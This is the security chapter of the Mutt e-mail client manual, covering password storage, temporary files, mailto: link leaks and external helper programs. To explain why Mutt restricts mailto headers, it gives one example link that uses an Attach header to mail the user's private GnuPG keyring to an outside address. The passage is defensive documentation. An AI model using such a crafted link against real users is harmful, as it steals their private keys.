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<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><title>Chapter 7. Security Considerations</title><meta name="generator" content="DocBook XSL Stylesheets Vsnapshot" /><link rel="home" href="index.html" title="The Mutt E-Mail Client" /><link rel="up" href="index.html" title="The Mutt E-Mail Client" /><link rel="prev" href="optionalfeatures.html" title="Chapter 6. Optional Features" /><link rel="next" href="tuning.html" title="Chapter 8. Performance Tuning" /><style xmlns="" type="text/css">
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</style></head><body><div class="navheader"><table width="100%" summary="Navigation header"><tr><th colspan="3" align="center">Chapter 7. Security Considerations</th></tr><tr><td width="20%" align="left"><a accesskey="p" href="optionalfeatures.html">Prev</a> </td><th width="60%" align="center"> </th><td width="20%" align="right"> <a accesskey="n" href="tuning.html">Next</a></td></tr></table><hr /></div><div class="chapter"><div class="titlepage"><div><div><h1 class="title"><a id="security"></a>Chapter 7. Security Considerations</h1></div></div></div><div class="toc"><p><strong>Table of Contents</strong></p><dl class="toc"><dt><span class="sect1"><a href="security.html#security-passwords">1. Passwords</a></span></dt><dt><span class="sect1"><a href="security.html#security-tempfiles">2. Temporary Files</a></span></dt><dt><span class="sect1"><a href="security.html#security-leaks">3. Information Leaks</a></span></dt><dd><dl><dt><span class="sect2"><a href="security.html#security-leaks-mailto">3.1. <code class="literal">mailto:</code>-style Links</a></span></dt></dl></dd><dt><span class="sect1"><a href="security.html#security-external">4. External Applications</a></span></dt></dl></div><p>
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First of all, Mutt contains no security holes included by intention but
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may contain unknown security holes. As a consequence, please run Mutt
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only with as few permissions as possible. Especially, do not run Mutt as
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the super user.
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</p><p>
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When configuring Mutt, there're some points to note about secure setups
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so please read this chapter carefully.
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</p><div class="sect1"><div class="titlepage"><div><div><h2 class="title" style="clear: both"><a id="security-passwords"></a>1. Passwords</h2></div></div></div><p>
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Although Mutt can be told the various passwords for accounts, please
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never store passwords in configuration files. Besides the fact that the
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system's operator can always read them, you could forget to mask it out
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when reporting a bug or asking for help via a mailing list. Even worse,
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your mail including your password could be archived by internet search
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engines, mail-to-news gateways etc. It may already be too late before
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you notice your mistake.
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</p></div><div class="sect1"><div class="titlepage"><div><div><h2 class="title" style="clear: both"><a id="security-tempfiles"></a>2. Temporary Files</h2></div></div></div><p>
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Mutt uses many temporary files for viewing messages, verifying digital
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signatures, etc. As long as being used, these files are visible by other
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users and maybe even readable in case of misconfiguration. Also, a
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different location for these files may be desired which can be changed
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via the <a class="link" href="reference.html#tmpdir" title="3.399. tmpdir">$tmpdir</a> variable.
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</p></div><div class="sect1"><div class="titlepage"><div><div><h2 class="title" style="clear: both"><a id="security-leaks"></a>3. Information Leaks</h2></div></div></div><div class="sect2"><div class="titlepage"><div><div><h3 class="title"><a id="security-leaks-mailto"></a>3.1. <code class="literal">mailto:</code>-style Links</h3></div></div></div><p>
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As Mutt be can be set up to be the mail client to handle
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<code class="literal">mailto:</code> style links in websites, there're security
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considerations, too. Arbitrary header fields can be embedded in these
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links which could override existing header fields or attach arbitrary
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files using <a class="link" href="gettingstarted.html#attach-header" title="6.2.2. Attach: Pseudo Header">the Attach:
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pseudoheader</a>. This may be problematic if the <a class="link" href="reference.html#edit-headers" title="3.84. edit_headers">$edit-headers</a> variable is
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<span class="emphasis"><em>unset</em></span>, i.e. the user doesn't want to see header
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fields while editing the message and doesn't pay enough attention to the
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compose menu's listing of attachments.
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</p><p>
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For example, following a link like
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</p><pre class="screen">
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mailto:joe@host?Attach=~/.gnupg/secring.gpg</pre><p>
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will send out the user's private gnupg keyring to
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<code class="literal">joe@host</code> if the user doesn't follow the information
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on screen carefully enough.
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</p><p>
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To prevent these issues, Mutt by default only accepts the
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<code class="literal">Subject</code>, <code class="literal">Body</code>,
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<code class="literal">Cc</code>, <code class="literal">In-Reply-To</code>, and
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<code class="literal">References</code> headers. Allowed headers can be
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adjusted with the <a class="link" href="configuration.html#mailto-allow" title="33. Control allowed header fields in a mailto: URL"><span class="command"><strong>mailto_allow</strong></span></a> and
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<a class="link" href="configuration.html#mailto-allow" title="33. Control allowed header fields in a mailto: URL"><span class="command"><strong>unmailto_allow</strong></span></a>
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commands.
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</p></div></div><div class="sect1"><div class="titlepage"><div><div><h2 class="title" style="clear: both"><a id="security-external"></a>4. External Applications</h2></div></div></div><p>
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Mutt in many places has to rely on external applications or for
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convenience supports mechanisms involving external applications.
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</p><p>
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One of these is the <code class="literal">mailcap</code> mechanism as defined by
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RfC1524. Details about a secure use of the mailcap mechanisms is given
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in <a class="xref" href="mimesupport.html#secure-mailcap" title="3.2. Secure Use of Mailcap">Section 3.2, “Secure Use of Mailcap”</a>.
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</p><p>
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Besides the mailcap mechanism, Mutt uses a number of other external
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utilities for operation, for example to provide crypto support, in
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backtick expansion in configuration files or format string filters. The
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same security considerations apply for these as for tools involved via
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mailcap.
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</p></div></div><div class="navfooter"><hr /><table width="100%" summary="Navigation footer"><tr><td width="40%" align="left"><a accesskey="p" href="optionalfeatures.html">Prev</a> </td><td width="20%" align="center"> </td><td width="40%" align="right"> <a accesskey="n" href="tuning.html">Next</a></td></tr><tr><td width="40%" align="left" valign="top">Chapter 6. Optional Features </td><td width="20%" align="center"><a accesskey="h" href="index.html">Home</a></td><td width="40%" align="right" valign="top"> Chapter 8. Performance Tuning</td></tr></table></div></body></html> |